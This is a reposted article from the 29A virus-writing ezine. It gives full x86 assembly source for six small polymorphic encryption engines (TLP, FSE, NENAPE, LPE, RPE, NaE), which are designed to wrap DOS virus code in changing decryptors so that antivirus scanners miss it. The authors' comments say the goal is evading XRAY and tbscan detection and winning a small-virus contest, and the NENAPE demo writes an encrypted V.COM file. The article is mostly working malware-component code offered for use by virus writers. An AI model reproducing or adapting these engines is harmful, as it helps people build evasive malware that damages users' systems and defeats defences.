Copy Link
Add to Bookmark
Report

29A Issue 03 03 10

eZine's profile picture
Published in 
29A
 · 4 years ago

  

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[tlp2.asm]ÄÄ
;****************************************************************************
; TLP - Tiny Lame Poly Engine V2.0 by Dark Cobra
; Note: This engine is not intended to be useful, but rather interesting.
; That's why I made it small and useless ;)
;
; Thanks go to Darkman for pointing out an obvious optimization which I had
; accidently overseen while thinking about the difficult parts of this. His
; hint saved me one more byte, which is significant in such a short engine.
;
; Now, the engine is only 48 bytes small! :)
;
; Greatings to (in no specific order): GriYo, Darkman, VirusBuster, B0z0,
; StarZero, Super, Yesna, Serialkiller, Reptile
;
;
;****************************************************************************

.MODEL TPASCAL
P386
LOCALS @@
.CODE
ASSUME CS: CODE, DS: CODE, ES: CODE, SS: CODE
ORG 100H
EntryPoint:
; mov di, offset EntryPoint
; db 11 dup (90h)

;****************************************************************************
; in: ES:DI = pointer to buffer for new decryptor
; SI = begin of code to be decrypted
; DX = end of code to be decrypted
; out: ES:DI = new decryptor
;****************************************************************************

;The engine generates a decryptor of the following (general) form:

;mov r1, code_begin b8+r1 code_begin (1)
;crypt:
;xor [r1], xor_key 80 01110r1 00 (2)
;inc r1 40+r1 (3)
;cmp r1, code_end 81 01111r1 code_end (4)
;jnz crypt 75 crypt - $ (5)


;SI: 0 --> 6 00 --> 110 +6 XOR 110
;DI: 1 --> 7 01 --> 111 +6 XOR 110
;BP: 2 --> 5 10 --> 101 +3 XOR 110
;BX: 3 --> 3 11 --> 011 +0 XXXXXXX

xor ax, ax
in al, 40h
and al, 3
push ax
jnp short @@2
jnz short @@1
@@2: xor al, 6
@@1:
add al, 0b8h
stosb
xchg ax, si
stosw

pop ax
add ax, 8074h
xchg al, ah
stosw
in al, 40h
shl ax, 8
stosw

xchg ax, si
sub al, (0b8h - 40h)
stosb

add ax, (81f8h - 40h)
xchg al, ah
stosw
xchg ax, dx
stosw

mov ax, 0f575h
stosw

ret

END EntryPoint

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[tlp2.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fse.asm]ÄÄ
;=====( Fucking Small Engine - by Rajaat / 29A )===============================
;
; Type : Polymorphic Engine
; Comments : This polymorphic engine is very easy to detect, since uses no
; random trash code or anything else to complicate detecting the
; decryptor itself, but this is made to see how you could defeat
; scanners that still use the (in my opinion obsolete) XRAY
; technique to detect encrypted viruses. FSE uses 8-15
; different operations on each byte, making it virtually
; impossible to do a cryptanalytic attack.
;
; Operands used by FSE to encrypt code:
; XOR SUB ADD ROL ROR NOT NEG INC DEC
;
; Registers used by FSE as pointer:
; BX SI DI
;
; Registers used by FSE as counter:
; AX BX CX DX SI DI BP
;
;=====( Fucking Small Engine - by Rajaat )=====================================
;
; DS:SI = code to encrypt
; ES:DI = place for encrypted code + decryptor
; CX = code length to encrypt
; AX = offset in target
;
;==============================================================================
.model tiny
.code
.radix 16

public C fse ; yes, I used it in my Borland
; C virus :-D

fse proc C ; fse()

push bp ; preserve BP

call get_offset ; get delta offset (in case you
get_offset: pop bp ; are making a direct action
sub bp,offset get_offset ; infector)

push di es ; save some registers I need
push si ; later on
push cx ;
push ax ;
push di ;
push di ;
cld ;

push es ; clear encrypt code buffer
push cs ; (there was a bug in here when
pop es ; this source was on my home
lea si,end_sequencer[bp] ; page, it ES != CS it would
lea di,enc_sequencer[bp] ; make incorrect encryptions)
mov al,90 ;
push cx ;
mov cx,len_sequencer ;
rep stosb ;
pop cx ;

pop es ;
pop di ;

mov ax,1f0e ; write PUSH CS / POP DS
stosw ; sequence (wow, fixed code)

bad_registers: call rnd_get
and ax,0707
cmp ah,al ; pointer & counter can't be
je bad_registers ; the same register
cmp al,4 ; don't use SP!
je bad_registers
cmp ah,03 ; BX is pointer register
je good_pointer
cmp ah,6 ; or else FSE uses SI or DI as
jb bad_registers ; index register
good_pointer: push ax
sub ah,6
cmp ah,08
jb convert_ok
mov ah,3
convert_ok: mov byte ptr cs:pointer_reg[bp],ah
pop ax
add ax,0b8b8
push ax
call rnd_get
mov bx,1
inc ax
pop ax
jns dont_flip
xchg ah,al
xchg bh,bl
dont_flip: stosb
mov dx,di
test bl,1
push ax
jz no_counter
call rnd_get
and ax,1ff
add ax,cx
no_counter: stosw
pop ax
xchg ah,al
stosb
push ax bx
test bl,1
jnz is_counter
and ax,1ff
add ax,cx
jmp store
is_counter: mov dx,di
store: stosw
mov cx,di
push cx

call rnd_get
mov cx,ax
and cx,7
add cx,7

encrypt_actions:

call rnd_get
no_more_than_8: and ax,1f
sub ax,8
cmp ax,8
ja no_more_than_8
shl ax,1
mov bx,ax
add bx,bp
mov ax,word ptr cs:enc_opers[bx]
test ah,80
jnz no_xor_add_sub
mov ah,80
add al,byte ptr cs:pointer_reg[bp]
xchg ah,al
stosw
call rnd_get
stosb
jmp xor_add_sub
no_xor_add_sub: sub ah,0bc
add ah,byte ptr cs:pointer_reg[bp]
no_bx: stosw
xor_add_sub: mov bx,word ptr cs:dec_opers[bx]
cmp bh,0
jne no_xas
mov bh,al
no_xas: mov word ptr cs:[si],bx
dec si
dec si

loop encrypt_actions

pop cx

;=== inc/dec pointer and counter
pop bx ax
test bl,1
jnz pointer_first
xchg ah,al
pointer_first: sub ax,7078
stosb
push ax
pop ax
xchg ah,al
stosb
;=== building repeat loop
cmp al,49
mov al,75
jnz no_loop
dec di
mov al,0e2
no_loop: stosb
sub cx,di
dec cx
xchg ax,cx
stosb

xchg bx,dx
mov dx,di
pop ax
sub dx,ax
pop ax
add dx,ax
mov word ptr es:[bx],dx
pop cx
;=== encrypt code
pop si
encrypt_loop: lodsb
call enc_sequencer
stosb
loop encrypt_loop
mov cx,di
pop ds dx
sub cx,dx
pop bp
ret

rnd_get: in al,40
xchg ah,al
in al,41
xor al,ah
ret

; XOR SUB ADD ROL ROR NOT NEG INC DEC
enc_opers dw 00034,0002c,00004,0c0d0,0c8d0,0d0f6,0d8f6,0c0fe,0c8fe
dec_opers dw 00034,00004,0002c,0c8d0,0c0d0,0d0f6,0d8f6,0c8fe,0c0fe

fse_signature db '[ FSE 1.0 by Rajaat / 29A ]',0

enc_sequencer: dw 18 dup (9090)
end_sequencer equ $-2
len_sequencer equ $-enc_sequencer
ret
pointer_reg db 0

fse endp

end
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fse.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nenape.asm]ÄÄ
;=====( Not Even Near A Polymorphic Engine )===================================
;
; By Rajaat
;
; The reason i wrote NENAPE was that I didn't have an engine yet that I easily
; call multiple times to generate more than one layer of encrytion. At
; the moment the encryption method is very bad, but I will hope to
; improve this soon, together with the code it generates. The main thing
; is that the encryptor is build up perfectly and that the code is
; compact yet modular.
;
; NENAPE
;
; CLEAN = 1 ; 111 bytes
;
;==============================================================================
;
; Note: I've got to extend the random opcode generator ofcourse, but you'll
; see the point I have here, i don't need much register preserving, this
; allowing me to do more shitty opcodes and obscure interrupts, making it look
; like a legitimate program ;-)
;
; And eh.... I'll promise I'll comment it ;-) Doh!
;

.model tiny
.code
.radix 16

org 100
main:

IFNDEF CLEAN
call get_delta
get_delta: pop bp
sub bp,offset get_delta
mov ax,3c00
xor cx,cx
lea dx,fnam[bp]
int 21
xchg ax,bx
push bx
lea bx,main[bp]
lea di,virus_end[bp]
mov ax,virus_bytes
call nenape
mov di,dx
add di,cx
mov bx,dx
xchg ax,cx
call nenape

pop bx
mov ah,40
int 21
mov ah,3e
int 21
mov ax,4c00
int 21
fnam db 'V.COM',0

; Here some shit that flags tbscan like hell ;-)

mov ax,0aace
int 21
cmp ax,0b00c
mov ax,100
jmp ax
int 12
dec ax
mov word ptr ds:[413],ax
cmp ax,4b00
jne $+2
mov ax,4301
int 21
mov ax,5701
int 21
cmp ax,'MZ'
cmp ax,'ZM'
db '*.COM',0

ENDIF

;=====( Not Even Near A Polymorphic Engine )===================================
;
; Input: DS:BX = code to encrypt
; ES:DI = place to put encrypted code + decryptor
; AX = length of code to encrypt
;
; Output: DS:DX = encrypted code + decryptor
; CX = length of encrypted code + decryptor
;
;==============================================================================

; +6 +4 +2 +0
nenape: push ax bx si di
cli
call nenape_delta
nenape_delta: pop si
sub si,offset nenape_delta
mov bx,sp
mov word ptr decode_length[si],ax
in al,40
mov byte ptr value[si],al
lea si,decryptor[si]
mov cx,decryptor_bytes / 2
create_decrypt: cld
in al,40
and al,7
test al,4
jnz create_decrypt

; Extend this

mov dl,al
mov al,0b8
add al,dl
stosb
lodsw
push ax
stosw
mov al,50
add al,dl
stosb
loop create_decrypt

movsw
mov si,word ptr [bx+4]
mov cx,word ptr [bx+6]
push di
rep movsb
pop si
mov dx,word ptr [bx+0]
sub di,dx
mov bx,sp
add bx,7
call bx
mov cx,di
add sp,decryptor_bytes
sti
pop di si bx ax
ret

; Image of below remarked code pushed wordwise backwards (my personal horror)

decryptor: dw 052c3h
dw 0fae2h
value dw 04600h
dw 03480h
decode_length dw 01000h
dw 0b91fh
dw 00e56h
dw 05e41h
dw 03932h

;decryptor: db '29A' ; hidden signature ;-)
; pop si
; push si
;encrypt: push cs
; pop ds
; mov cx,10
;decode_length equ $-2
;continue: xor byte ptr [si],0
;value equ $-1
; inc si
; loop continue
; ret
; db 'R' ; hidden signature :-D

decryptor_bytes equ $-decryptor

call sp

nenape_bytes equ $-nenape

virus_end equ $
virus_bytes equ virus_end-main

end main
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nenape.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[lpe.asm]ÄÄ
.model tiny
.code
.radix 16
.286

; CLEAN = 1 ; remove ; in order to remove example code



org 100

main:

;=====( Little example code that shows how to use the LPE )====================
;
; Since it is hardly interesting I left most of it uncommented, the LPE is the
; working horse in this source.
;
;==============================================================================

IFNDEF CLEAN

call get_delta
filename db 'LPE.COM',0
get_delta: pop si
sub si,offset filename
mov ax,03d02
lea dx,filename[si]
int 21
push ax
lea si,end_lpe[si] ; parameter settings
mov di,1000 ; for lpe are done
mov cx,virus_words ; here. look at lpe header
call lpe ; for the info
mov ah,40
pop bx
int 21
mov ah,3e
int 21
mov ah,4c
int 21
ENDIF

;=====( Ludicrous Poly Engine by Rajaat / 29A )================================
;
; DS:SI = offset end of virus - 2
; ES:DI = place where to put encrypted code + decryptor
; CX = virus size in (words / 2)
; Pad your virus to an even amount of bytes, please (OR YOUR CODE DIES!!!)
;
; Returns:
; ES:DX = encrypted code+decryptor
; CX = length of encrypted code+decryptor
; All other registers might be trashed
;
; Don't forget to eventually restore the stack to it's original location before
; returning to the host, some unpredictable things might happen if you don't.
;
;=====( Why I wrote this load of crap? )=======================================
;
; Cyberyoda on #virus on undernet has started a contest to write a small virus
; in 150 bytes, and the most effective virus wins. This engine is only 50 bytes
; and generates very polymorphic code in respect to its size.
;
;==============================================================================

lpe: push di ; store destination
repeat_lpe: db 0d6h ; assume carry clear, so AL = 0
out 43,al ; init randomizer
in al,40 ; get random number
and al,7 ; save only low nibble
or al,0b8 ; add 0b8, gets in MOV <reg>,<value>
cmp al,0bc ; is it 0bc (SP register)
je repeat_lpe ; yes, not desirable - get another reg
stosb ; store opcode
push ax ;
push ax ;
in ax,40 ; get semi-random value
stosw ; store word
xchg ax,bx
mov al,81 ; xor <reg>,<word xor value>
stosb ; store opcode
pop ax ;
add al,38 ; get register
stosb ; store register
std
lodsw ; get word (backwards)
cld
xor ax,bx ; xor word with value
stosw ; store after xor opcode
pop ax
sub al,068 ; push <reg>
stosb ; store opcode
loop repeat_lpe ; repeat until all words dont
mov ax,0e4ff ; jmp sp
stosw ; store opcode
xchg cx,di
pop dx ; get destination offset
sub cx,dx ; calculate length
ret

end_lpe equ $

;==============================================================================

virus_bytes equ $-main
virus_words equ (virus_bytes shr 1) + 1

end main

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[lpe.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[rpe.asm]ÄÄ
;
; I owe thanks to Dr. Dope for the 1 byte optimization.
;
.model tiny
.code
.radix 16

.386

org 100

;=====( RPE - Rajaats Push Engine )============================================
;
; Minor version of LPE, redone and optimized, done by Rajaat / 29A as joke.
;
; Input : DS:SI = virus code end - 2
; ES:DI = pushorized virus
; CX = virus bytes / 2
; Output : ES:DX = pushorized virus (ES!!!)
; CX = pushorized virus length
;
; Align virus size to a word boundary, and leave some stack for the host.
;
;==============================================================================

rpe: mov dx,di ; for ES:DX return parameter
rpe_loop: in al,40 ; get "random" byte
and al,7 ; make it range 0-7
add al,0B8 ; make mov <reg>
cmp al,0BC ; BC = SP register, which we can't use
je rpe_loop ; so we have to get another number
stosb ; store opcode
movsw ; add some code (in reverse order)
sub si,4 ; si -= 4 (easier than cld/std shit)
sub al,(0B8-50) ; get push <reg>
stosb ; store it
loop rpe_loop ; repeat until whole virus done
mov ax,0e4ff ; get jmp sp opcode
stosw ; store it
sub di,dx ; calculate new length
xchg cx,di ; and present it in cx
ret ; done (31 bytes)

end rpe
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[rpe.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nae.asm]ÄÄ
comment *
Nearly an Engine v 2.00 [NaE]

Calling parameters:
DL One byte garbage instruction
CX Length of original code
BP Decryptor's offset
DS:SI Pointer to original code
ES:DI Pointer to decryptor + encrypted code

Return parameters:
CX Length of decryptor + encrypted code

Garbage instructions:
User defined.

Nearly an Engine v 2.00 [NaE] decryptor:
Zero to two hundred and fifty-five garbage instruction(s).
MOV DI,imm16 (Offset of encrypted code)
MOV CX,imm16 (Length of encrypted code)
XOR CS:[DI],imm8 (Decryption key)
INC DI
LOOP imm8 (Beginning of XOR CS:[DI],imm8)

Min. decryptor size: 13 bytes.
Max. decryptor size: 268 bytes.
Nearly an Engine v 2.00 [NaE] size: 58 bytes (excl. ' [NaE] ').
*

nae_begin equ $ ; Begining of Nearly an Engine v 2...

nae_poly proc near ; Nearly an Engine v 2.00 [NaE]
push si cx ; Save registers at stack

lea si,cryptor ; SI = offset of cryptor

mov [si+(crypt_length-cryptor)],cx

in al,40h ; AL = encryption/decryption key
mov [si+(crypt_key-cryptor)],al

xor ax,ax ; Zero AX
in al,40h ; AL = number of garbage instructi...

push ax ; Save AX at stack
xchg ax,cx ; CX = number of garbage instructi...
xchg ax,dx ; AL = garbage instruction
rep stosb ; Generate random number of garbag...
pop ax ; Load AX from stack

mov cl,(cryptor_end-cryptor)
add ax,cx ; AX = length of decryptor
add bp,ax ; BP = offset of plain/encrypted c...
mov [si+(crypt_offset-cryptor)],bp

rep movsb ; Move the decryptor above the gar...
pop cx si ; Load registers from stack

push di ; Save DI at stack
rep movsb ; Move the plain code above the de...
pop di ; Load DI from stack

db 00111010b ; CMP BH,[BP+imm16] (opcode 3ah)
cryptor:
crypt_offset equ word ptr $+01h ; Offset of plain/encrypted code
mov di,00h ; DI = offset of plain/encrypted code
crypt_length equ word ptr $+01h ; Length of plain/encrypted code
mov cx,00h ; CX = length of plain/encrypted code
crypt_loop:
crypt_key equ byte ptr $+03h ; Encryption/decryption key
xor byte ptr cs:[di],00h
inc di ; Increase index register
loop crypt_loop
cryptor_end:
xchg ax,cx ; CX = length of decryptor
add cx,dx ; CX = length of decryptor + encry...

ret ; Return!
endp

engine_name db ' [NaE] ' ; Name of the engine

nae_end equ $ ; End of Nearly an Engine v 2.00 [...
nae_size equ $-nae_begin ; Size of Nearly an Engine v 2.00 ...
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nae.asm]ÄÄ

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT